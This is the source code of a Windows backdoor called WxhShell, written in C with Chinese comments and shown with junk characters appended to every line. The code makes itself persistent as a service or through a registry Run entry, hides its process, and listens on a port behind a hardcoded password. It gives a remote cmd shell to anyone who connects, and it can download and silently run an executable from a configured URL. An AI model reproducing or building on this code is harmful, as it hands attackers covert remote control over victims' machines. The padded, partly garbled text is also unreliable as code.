    closesocket(wsh); \K{ z  
    ExitThread(0); 0auYG><=  
    } =BeygT^  
    break; zk+9'r`-D  
    } (m}'4et~L  
  // 获取shell t3ZOco@~P  
  case 's': { e"cXun4nS=  
    CmdShell(wsh); := V[7n])  
    closesocket(wsh); Dpac^ST  
    ExitThread(0); L{\8!51L  
    break; T Z@]:e:"b  
  } .43'HV  
  // 退出 *a^(vo   
  case 'x': { #z%fx   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fbvL7* (  
    CloseIt(wsh); w.o@7|B1N  
    break; I][*j  
    } N>1em!AS  
  // 离开 e>OoyDZ@R  
  case 'q': {  }v{LRRi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MchA{p&Ol  
    closesocket(wsh); (lqC[:  
    WSACleanup(); G!##X: 6'  
    exit(1); @1j   
    break; %2{ye  
        } =XQ%t @z0  
  } ,qwuLBW  
  } C): 1?@  
]/6z; ~3U  
  // 提示信息 G*MUO#_iuh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +`0k Fbx  
} G_JA-@i%  
  } Y@iS_lR  
XT*sGM  
  return; Tidn-2L73O  
} pki%vRY  
c6]U E@A  
// shell模块句柄 ^76]0`gS  
int CmdShell(SOCKET sock) 8,%^ M9zBP  
{ hfTY.  
STARTUPINFO si; B[Scr5|  
ZeroMemory(&si,sizeof(si)); ~~P5k:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [|L<_.8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l'qg8  
PROCESS_INFORMATION ProcessInfo; $PPi5f}HD  
char cmdline[]="cmd"; Q&;9 x?e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JbbzV>  
  return 0; BO&bmfp7,  
} BxmWIItz  
HC8e>kP9b  
// 自身启动模式 L*+@>3mu)  
int StartFromService(void)  (ZizuHC  
{ BWrxunHO  
typedef struct !pW0qX\1n  
{ tNI^@xdim1  
  DWORD ExitStatus; ~mxO7cy5Cg  
  DWORD PebBaseAddress; 4$<JHo @.  
  DWORD AffinityMask; LRA8p<Rs  
  DWORD BasePriority; +6\Zj)  
  ULONG UniqueProcessId; " 8MF_Gu):  
  ULONG InheritedFromUniqueProcessId; \8cx6 G'  
}   PROCESS_BASIC_INFORMATION; AkV#J, 3LC  
vE?G7%,  
PROCNTQSIP NtQueryInformationProcess; >GRxHK@G  
6{b >p+U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n>YKa)|W`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )t#W{Gzfmh  
}Y\%RA  
  HANDLE             hProcess; 4[e X e$  
  PROCESS_BASIC_INFORMATION pbi; K%oG,-wdg  
L4HI0Mx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wHy!CP%  
  if(NULL == hInst ) return 0; p5iuYHKk?  
:F?C)F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Lf&kv7Wj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5b*C1HS@X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y)@wjH{6  
o+'6`g'8  
  if (!NtQueryInformationProcess) return 0; 1+s;FJ2}  
&u !,Hp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7 <R E_/]  
  if(!hProcess) return 0; 0H:X3y+  
hgq;`_;1,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~DwpoeYX  
1qA;/-Zr<o  
  CloseHandle(hProcess); H:| uw  
;V!D :5U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MQ2}EY*A  
if(hProcess==NULL) return 0; 2^7`mES  
@yYkti;4-  
HMODULE hMod; !a\^Sk /  
char procName[255]; ? J0y|  
unsigned long cbNeeded; {l@{FUv  
CU0YIL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L4W5EO$  
hZb_P\1X  
  CloseHandle(hProcess); Le^ n +5x  
L/K(dkx  
if(strstr(procName,"services")) return 1; // 以服务启动 8s@3hXD&  
PKz':_|  
  return 0; // 注册表启动 At;LO9T3z  
} ;uGv:$([g  
/ ;$[E  
// 主模块 a<e[e>  
int StartWxhshell(LPSTR lpCmdLine) ]SEZaT  
{ 2 %]X+`+O  
  SOCKET wsl; u ga_T  
BOOL val=TRUE; <P<z N~i9j  
  int port=0; [-w%/D%@  
  struct sockaddr_in door; %]i15;{X  
i|kRK7[6B  
  if(wscfg.ws_autoins) Install(); V;=cwy)I  
\;Weizq5  
port=atoi(lpCmdLine); kJR`:J3DJ  
%C]>9."  
if(port<=0) port=wscfg.ws_port; ]:n,RO6  
7yQ4*UB  
  WSADATA data; 4,ag(^}=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *4 n)  
|s_GlJV.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ALHIGJW:6$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /bmN\I  
  door.sin_family = AF_INET; :4|4=mkr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XWw804ir  
  door.sin_port = htons(port); RnN!2K  
Hn:Crl y#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lTsjxw o  
closesocket(wsl); zuCSj~  
return 1; %iB,IEw  
} l^ }c!  
2g<Xtt7+o  
  if(listen(wsl,2) == INVALID_SOCKET) { EQ_aa@M7  
closesocket(wsl); ;*J  
return 1; 7>RY/O;Z,  
} F'Z,]b'st3  
  Wxhshell(wsl); v:#tWEbo-  
  WSACleanup(); uAk.@nfiEv  
Q b%J8juRf  
return 0; "N#Y gSr  
H?w6C):]  
} dr"1s-D4IQ  
|j|rS5  
// 以NT服务方式启动 i/.6>4tE:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~#/  
{ 1~gCtBRM  
DWORD   status = 0; HOi`$vX }N  
  DWORD   specificError = 0xfffffff; #&4=VGx{ #  
Y-9I3?ar  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k7^5Bp8=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W*G<X.Hf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ort(AfW  
  serviceStatus.dwWin32ExitCode     = 0; *WZA9G#V5  
  serviceStatus.dwServiceSpecificExitCode = 0; u? EN  
  serviceStatus.dwCheckPoint       = 0; \<K5ZIWV  
  serviceStatus.dwWaitHint       = 0; "M0z(N kH  
K NOIZj   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /kG_*>.Z  
  if (hServiceStatusHandle==0) return; D+c>F5  
=pr7G+_u  
status = GetLastError(); s#MPX3itK  
  if (status!=NO_ERROR) }0 ?3:A  
{ }B^tL$k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z9"U!A4  
    serviceStatus.dwCheckPoint       = 0; iRBfx  
    serviceStatus.dwWaitHint       = 0; ]@TCk8d$0  
    serviceStatus.dwWin32ExitCode     = status; 3U}%2ARo_  
    serviceStatus.dwServiceSpecificExitCode = specificError; ; @X<lCk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {h4E8.E  
    return; fsXy"#mOkD  
  } ';"VDLb3  
H*6W q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T>>c2$ x  
  serviceStatus.dwCheckPoint       = 0; j1Ezf=N6`  
  serviceStatus.dwWaitHint       = 0; 3XKf!P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); afk>+4q  
} d5-qZ{W  
WzWX E(  
// 处理NT服务事件,比如:启动、停止 8EY:t zw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qSQ~D(tO  
{ 13f)&#, F  
switch(fdwControl) ?cZlN !  
{ 2zpr~cB=  
case SERVICE_CONTROL_STOP: ,,TnIouy  
  serviceStatus.dwWin32ExitCode = 0; M%#e1"n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Va8&Z  
  serviceStatus.dwCheckPoint   = 0; x^CS"v7  
  serviceStatus.dwWaitHint     = 0; Y*hCMy;  
  { TZ`SZDc7_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JI5Dy>u:  
  } s^SJY{  
  return; /RF7j;  
case SERVICE_CONTROL_PAUSE: ce(#2o&`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P;*(hY5&  
  break; V.Mry`9-  
case SERVICE_CONTROL_CONTINUE: ;kK/_%gN-G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ho%CDz z  
  break; .(vwIb8\_  
case SERVICE_CONTROL_INTERROGATE: _B0L.eF  
  break; D{!IW!w  
}; ] R*A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0IpmRH/  
} +|rj4j)L&'  
|hQ;l|SWg  
// 标准应用程序主函数 @ |r{;'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Mp]rUPK  
{ 8ipez/  
r :dTz  
// 获取操作系统版本 E_`=7 i  
OsIsNt=GetOsVer(); +h$ 9\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m kexc~l  
@WB@]-+J T  
  // 从命令行安装 ,vDbp?)'U  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;Qq\DFe.w  
y)*RV;^  
  // 下载执行文件 YK\X+"lB  
if(wscfg.ws_downexe) { qWw=8Bq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YzWz|  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q.[0ct  
} (#'>(t(4  
3sk9`=[{$  
if(!OsIsNt) { *`U~?q}  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z{R>  
HideProc(); :pUtSs7p}  
StartWxhshell(lpCmdLine); ry!!9Z>9n  
} `2snz1>!j  
else {8aTV}Ha2  
  if(StartFromService()) Q20 %"&Xp]  
  // 以服务方式启动 _g. {MTQ  
  StartServiceCtrlDispatcher(DispatchTable); $u.z*b_yy  
else 1"g<0 W  
  // 普通方式启动 iB{V^ksU  
  StartWxhshell(lpCmdLine); 7 3m1  
ceV}WN19l  
return 0; ?8$Q-1=  
} O84i;S+-p  
xA/D'  
`9 L>*  
SdWV3  
=========================================== >/|*DI-HJ  
OY d !v`<  
OCUr{Nh  
?EL zj  
]! dTG  
weQ_*<5%  
" TN.rrop`#g  
pGZ8F  
#include <stdio.h> xU vs:  
#include <string.h> /ouPg=+Nl  
#include <windows.h> ,'+kBZOv  
#include <winsock2.h> . ^u,.  
#include <winsvc.h> <!+Az,-  
#include <urlmon.h> G#CXs:1pd+  
k\IbIv7?i  
#pragma comment (lib, "Ws2_32.lib") s>en  
#pragma comment (lib, "urlmon.lib") RpK@?[4s  
g*Phv|kI  
#define MAX_USER   100 // 最大客户端连接数 O}P`P'Y|'  
#define BUF_SOCK   200 // sock buffer ;r8X.>P*  
#define KEY_BUFF   255 // 输入 buffer `gJ(0#ac  
S:Hl/:iV  
#define REBOOT     0   // 重启 \8 ":]EU  
#define SHUTDOWN   1   // 关机 ?CZd Ol  
<[v[ci  
#define DEF_PORT   5000 // 监听端口 AdmC&!nH  
pI[uUu7O  
#define REG_LEN     16   // 注册表键长度 G6/m#  
#define SVC_LEN     80   // NT服务名长度 ZoeD:xnh[  
C}X\|J  
// 从dll定义API "8/,Y"W"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !W\+#ez  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dI2 V>vk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -} +[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mR~&)QBP.  
: +u]S2u{  
// wxhshell配置信息 z{6Z 11|  
struct WSCFG { %C0Dw\A*:  
  int ws_port;         // 监听端口 N;R^h? '  
  char ws_passstr[REG_LEN]; // 口令 =v\.h=~~  
  int ws_autoins;       // 安装标记, 1=yes 0=no n|hNM?v  
  char ws_regname[REG_LEN]; // 注册表键名 4 :v=pZ  
  char ws_svcname[REG_LEN]; // 服务名 W/ \g~=vo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0%B/,/PxD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9^x> 3Bo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 : DNjhZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D=$)n_F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YQ} o?Q$z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _M1%Z~  
-/4P3SG/  
}; jo7\`#(Q  
o4;(Zi#Z  
// default Wxhshell configuration ~~.}ah/_d  
struct WSCFG wscfg={DEF_PORT, gIfh3D=yX  
    "xuhuanlingzhe", IgzQr >  
    1, E$e5^G9  
    "Wxhshell", Smh,zCc>s  
    "Wxhshell", rjP/l6 ~'  
            "WxhShell Service", F{wzB  
    "Wrsky Windows CmdShell Service", yu|>t4#GT  
    "Please Input Your Password: ", 3%6? g*  
  1, "tZe>>I  
  "http://www.wrsky.com/wxhshell.exe", t-AmX) $  
  "Wxhshell.exe" K}y f>'O  
    }; AX INThJ  
h1RSVp+?n  
// 消息定义模块 54,er$$V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; / 1RpM]d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jdN` mosJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =wJX 0A|  
char *msg_ws_ext="\n\rExit."; F@t3!bj9  
char *msg_ws_end="\n\rQuit."; ,6/V" kqIP  
char *msg_ws_boot="\n\rReboot..."; f<_Cq <q"  
char *msg_ws_poff="\n\rShutdown..."; mq l Z?-  
char *msg_ws_down="\n\rSave to "; s"|Pdc4  
LeQjvW9y  
char *msg_ws_err="\n\rErr!"; Sz~OX6L  
char *msg_ws_ok="\n\rOK!"; U:`Kss`  
~u{uZ(~  
char ExeFile[MAX_PATH]; }bDm@NU  
int nUser = 0; wkq 66?  
HANDLE handles[MAX_USER]; 965 jtn  
int OsIsNt; |)&%A%m  
]'cs.  
SERVICE_STATUS       serviceStatus; x2EUr,7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .`lCWeHN  
6863xOv{T  
// 函数声明 mw!F{pw  
int Install(void); _t$sgz&  
int Uninstall(void); ?[AD=rUC  
int DownloadFile(char *sURL, SOCKET wsh); #spCtZE  
int Boot(int flag); }C:r 9? T  
void HideProc(void); W!X@  
int GetOsVer(void); 9x8fhAy}4  
int Wxhshell(SOCKET wsl); 7_L;E~\  
void TalkWithClient(void *cs); XX@ZQcN  
int CmdShell(SOCKET sock); ' %qr.T %  
int StartFromService(void); uH]OEz\H'  
int StartWxhshell(LPSTR lpCmdLine); IPk4 ;,  
;jXgAAz7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ixFi{_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sx%[=g+<2(  
eDMO]5}Ht  
// 数据结构和表定义 i. "v4D  
SERVICE_TABLE_ENTRY DispatchTable[] = 2iOV/=+  
{ 8m MQ[#0:}  
{wscfg.ws_svcname, NTServiceMain}, f 2.HF@  
{NULL, NULL} uD'6mk*  
}; M7T5 ~/4  
8Wx=p#_  
// 自我安装 DrR@n~  
int Install(void) ,2q-D&)\Z  
{ L#J1b!D&<6  
  char svExeFile[MAX_PATH]; Za9qjBH   
  HKEY key; uYN`:b8  
  strcpy(svExeFile,ExeFile); Q?vlfZR`8  
Wc#24:OKe3  
// 如果是win9x系统,修改注册表设为自启动 ~a:  
if(!OsIsNt) { vQCy\Gi   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nc`L;CP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j_AACq {.  
  RegCloseKey(key); $I=~S[p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V&5wRz+`W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yAt ^;  
  RegCloseKey(key); f8~_E  
  return 0; wp_0+$?s  
    } bw7@5=?;  
  } DU S6SO  
} QV!up^Zso  
else { T[gv0|+  
(HVGlw'`  
// 如果是NT以上系统,安装为系统服务 ";F'~}bDA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aOp\91  
if (schSCManager!=0) h0$iOE  
{ $i&zex{\  
  SC_HANDLE schService = CreateService p+eh%2Jm  
  ( 6Oq 7#3]  
  schSCManager, )e{aN+  
  wscfg.ws_svcname, 5+vaE 2v  
  wscfg.ws_svcdisp, mt .sucT  
  SERVICE_ALL_ACCESS, s AkdMo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , { FkF  
  SERVICE_AUTO_START, vN:Ng  
  SERVICE_ERROR_NORMAL, :X=hQ:>P  
  svExeFile, J5qZFD  
  NULL, hb$Ce'}N  
  NULL, jp,4h4C^)  
  NULL, 4dlGxat  
  NULL, Tk}]Gev  
  NULL ^('wy};  
  ); dN q$}  
  if (schService!=0) & 21%zPm  
  { By |4 m  
  CloseServiceHandle(schService); 7#Ft|5$~q  
  CloseServiceHandle(schSCManager); *@5@,=d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a(nlTMfu  
  strcat(svExeFile,wscfg.ws_svcname); 7.Op<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1zv'.uu.,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4RO}<$Nx}  
  RegCloseKey(key); e ,(mR+a8  
  return 0; lxx2H1([  
    } 3fj4%P"  
  } ^q5#ihM  
  CloseServiceHandle(schSCManager); Hl"N}   
} TjH][bH5  
} pBHRa?Y5  
SUiOJ[5,  
return 1; D*jM1w_`  
} /uflpV|  
X ?O[r3<  
// 自我卸载 .v K-LHs  
int Uninstall(void) Q ,g\  
{ h p1Bi  
  HKEY key; A.SvA Yn  
?<!|  
if(!OsIsNt) { `Di{}/2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e~OpofJNb  
  RegDeleteValue(key,wscfg.ws_regname); N2G{<>=  
  RegCloseKey(key); i!Ba]n   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >4TO=i  
  RegDeleteValue(key,wscfg.ws_regname); itz,m r P  
  RegCloseKey(key); MgZ/(X E  
  return 0; 1 MFbQs^  
  } }BEB1Q}L  
} _a, s )  
} cAw/I@jG  
else { &oNAv-m^GD  
$xsd~L &  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VbYdZCC  
if (schSCManager!=0) LVy yO3e  
{ F59 TZI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~N4m1s"  
  if (schService!=0) w0. u\  
  { tQVVhXQ7  
  if(DeleteService(schService)!=0) { P55fL-vo|}  
  CloseServiceHandle(schService); PCA4k.,T  
  CloseServiceHandle(schSCManager); h[ ZN+M  
  return 0; P}iE+Z 3  
  } !WlH'y-I  
  CloseServiceHandle(schService); V`5 O{Gg  
  } bA 2pbjg=  
  CloseServiceHandle(schSCManager); ?dTD\)%A  
} (7Qo  
} DU^loB+  
ceA9) {  
return 1; SbZ6t$"  
} [g,}gyeS(  
\8tsDG(1 '  
// 从指定url下载文件 cQ|NJ_F{1  
int DownloadFile(char *sURL, SOCKET wsh) !D6]JPX  
{ DG/Pb)%Y  
  HRESULT hr; f$( e\+ +  
char seps[]= "/"; \vNU,WO  
char *token; xw%0>K[  
char *file; kfNWI#'9  
char myURL[MAX_PATH]; 2oW"'43X  
char myFILE[MAX_PATH]; -j(6;9"7]|  
`oJ [u:b  
strcpy(myURL,sURL); zs;JJk^  
  token=strtok(myURL,seps); }JfjX '  
  while(token!=NULL) *hrd5na  
  { *j=% #  
    file=token; @HW*09TG  
  token=strtok(NULL,seps); hZ3bVi)L\  
  } *:1ey{w:  
'qi}|I  
GetCurrentDirectory(MAX_PATH,myFILE); 6*?F@D2&  
strcat(myFILE, "\\"); E7hhew  
strcat(myFILE, file); $'TM0Yu,  
  send(wsh,myFILE,strlen(myFILE),0); POW>~Tof1  
send(wsh,"...",3,0); |qLh5Ty  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z#N@ 0R  
  if(hr==S_OK) X]=t>   
return 0; l6B@qYLZ  
else q4q6c")zp  
return 1; SuznN L=/$  
NI5``BwpO  
} Ru XC(qcq  
g`^x@rj`E  
// 系统电源模块 l%ZhA=TKQ  
int Boot(int flag) tkhCw/  
{ ;jPXs  
  HANDLE hToken; VL^EHb7  
  TOKEN_PRIVILEGES tkp; f::Dx1VcX  
Mtv?:q  
  if(OsIsNt) { VpUAeWb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f?b"iA(6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pp2~Meg  
    tkp.PrivilegeCount = 1; \9d$@V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l~.-e^p?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +V+a4lU14  
if(flag==REBOOT) { ^.G$Q#y,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *A< 5*Db:F  
  return 0; &zs$x?/  
} 7rA;3?p)  
else { *H122njH+T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D0C y^_  
  return 0; S$3JMFA  
} "j-CZ\]U|  
  } i!cCMh8  
  else { 9kojLqCT  
if(flag==REBOOT) { nm+s{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G`zm@QL  
  return 0; G j1_!.T  
} [Yyk0Qv|4  
else { />Nt[o[r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6#yUc_5 \  
  return 0; .o8t+X'G  
} KgG4*<  
} V:27)]q  
4=.so~9odX  
return 1; RyNs6  
} *dF>_F  
qNr} \J|  
// win9x进程隐藏模块 a> )f=uS  
void HideProc(void) kl,3IKHa  
{ 6Iw\c  
,P Z ge  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yBRC*0+Vy  
  if ( hKernel != NULL ) 3[&Cg  
  { <1 pEwI~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J=L5=G7(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]HdCt3X  
    FreeLibrary(hKernel); KU;9}!#  
  } �{x7,  
gJhiGYx  
return; 875od  
} 1sCR4L:+  
y?0nI<}}HK  
// 获取操作系统版本 b[7 ]F  
int GetOsVer(void) 8X0z~ &  
{ " Jr-J#gg  
  OSVERSIONINFO winfo; }`"6aM   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Jo}eeJ;k  
  GetVersionEx(&winfo); x`?3C"N:<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @P" p+  
  return 1; L+QLLcS~EM  
  else p:%loDk  
  return 0; kW (Bkuc)  
} "\=U)CJ  
d7i]FV  
// 客户端句柄模块 JCaOK2XT;  
int Wxhshell(SOCKET wsl) :Yks|VJ1  
{ CP{cAzHO  
  SOCKET wsh; 3,=6@U  
  struct sockaddr_in client; NCx%L-GPi  
  DWORD myID; ]:f%l mEy  
6R5Qy]]E  
  while(nUser<MAX_USER) *#Wdc O `-  
{ Wm3X[?V  
  int nSize=sizeof(client); yZ`wfj$Jj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ERt{H3eCcJ  
  if(wsh==INVALID_SOCKET) return 1; 4e1Y/ Xq`  
]tDDq=+v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h} EPnC}  
if(handles[nUser]==0) Q|L~=9  
  closesocket(wsh); %[yJ4WL  
else 9E tz[`|  
  nUser++; B]$GSEB  
  } g[t [/TV   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {V-v-f  
n}V_,:Z  
  return 0; 'ah[(F<*@e  
} P2*<GjV`S/  
nvUc\7(%NW  
// 关闭 socket yA>nli=  
void CloseIt(SOCKET wsh) -GgA&dh  
{ ; Hd7*`$  
closesocket(wsh); J'2X&2  
nUser--; w\brVnt  
ExitThread(0); BCcjK6'  
} _,d~}_$`i  
"}JZU!?  
// 客户端请求句柄 ,u g@f-T  
void TalkWithClient(void *cs) 2>H24F  
{ l0hlM#  
PY0j 9$i?  
  SOCKET wsh=(SOCKET)cs; TuYCR>P[  
  char pwd[SVC_LEN]; e*n@j  
  char cmd[KEY_BUFF]; XGMiW0j0B  
char chr[1]; $2el&I  
int i,j; wuqJr:q*#  
p[lA\@l[  
  while (nUser < MAX_USER) { KK%M~Y+tU'  
W"3ph6[eW  
if(wscfg.ws_passstr) { u?{H}V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y]5 l.SV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  v<:R#  
  //ZeroMemory(pwd,KEY_BUFF); gl_^V&c  
      i=0; }-3mPy(*%  
  while(i<SVC_LEN) { e NafpK  
c7E11 \%&Z  
  // 设置超时 .-X8J t  
  fd_set FdRead; &(mR> mT  
  struct timeval TimeOut; !&Pui{F  
  FD_ZERO(&FdRead); 1&o|TT/  
  FD_SET(wsh,&FdRead); SC])?h-Fw  
  TimeOut.tv_sec=8; 6B ?twh)  
  TimeOut.tv_usec=0; 9RI-Lq`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o7LuKRl   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d&s9t;@=  
.eP.&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ji 0 tQV  
  pwd=chr[0]; Vl!6W@g  
  if(chr[0]==0xd || chr[0]==0xa) { 4X(H ;  
  pwd=0; U!Z,xx[]  
  break; ^Js9 s8?$  
  } BIWWMg  
  i++; ohGfp9H  
    } g2/8~cn8z  
x~j`@k,;  
  // 如果是非法用户,关闭 socket /_#q@r4ZQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Nl(3Xqov  
} f:.I0 ST  
V}NbuvDB@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LAe6`foW/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U2~kJ  
5RpjN: 3  
while(1) { =6|&Jt  
N<KS(@v y  
  ZeroMemory(cmd,KEY_BUFF); R#8L\1l  
M_w<m  
      // 自动支持客户端 telnet标准   t\j*}# S  
  j=0; 3J438M.ka  
  while(j<KEY_BUFF) { 6;qy#\}2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {LQ#y/H?  
  cmd[j]=chr[0]; Z@@K[$  
  if(chr[0]==0xa || chr[0]==0xd) { x*&|0n.D  
  cmd[j]=0; A^EE32kbm  
  break; 2Jmz(cH%  
  } FzXJ]H  
  j++; Jl9k``r*  
    } ^J8lBLqe  
4u47D$=  
  // 下载文件 :e%Pvk  
  if(strstr(cmd,"http://")) { &&RimoIeo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xZF}D/S?Ov  
  if(DownloadFile(cmd,wsh)) JyOo1E.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f/Bp.YwL  
  else @w!PaP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PJrtM AcKq  
  } t; {F%9j{  
  else { l.bYE/F0&  
s1=G;  
    switch(cmd[0]) { EeRX+BM,  
  2eol gXp  
  // 帮助 BC<^a )D=  
  case '?': { B[-v[K2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :| 8M`18lZ  
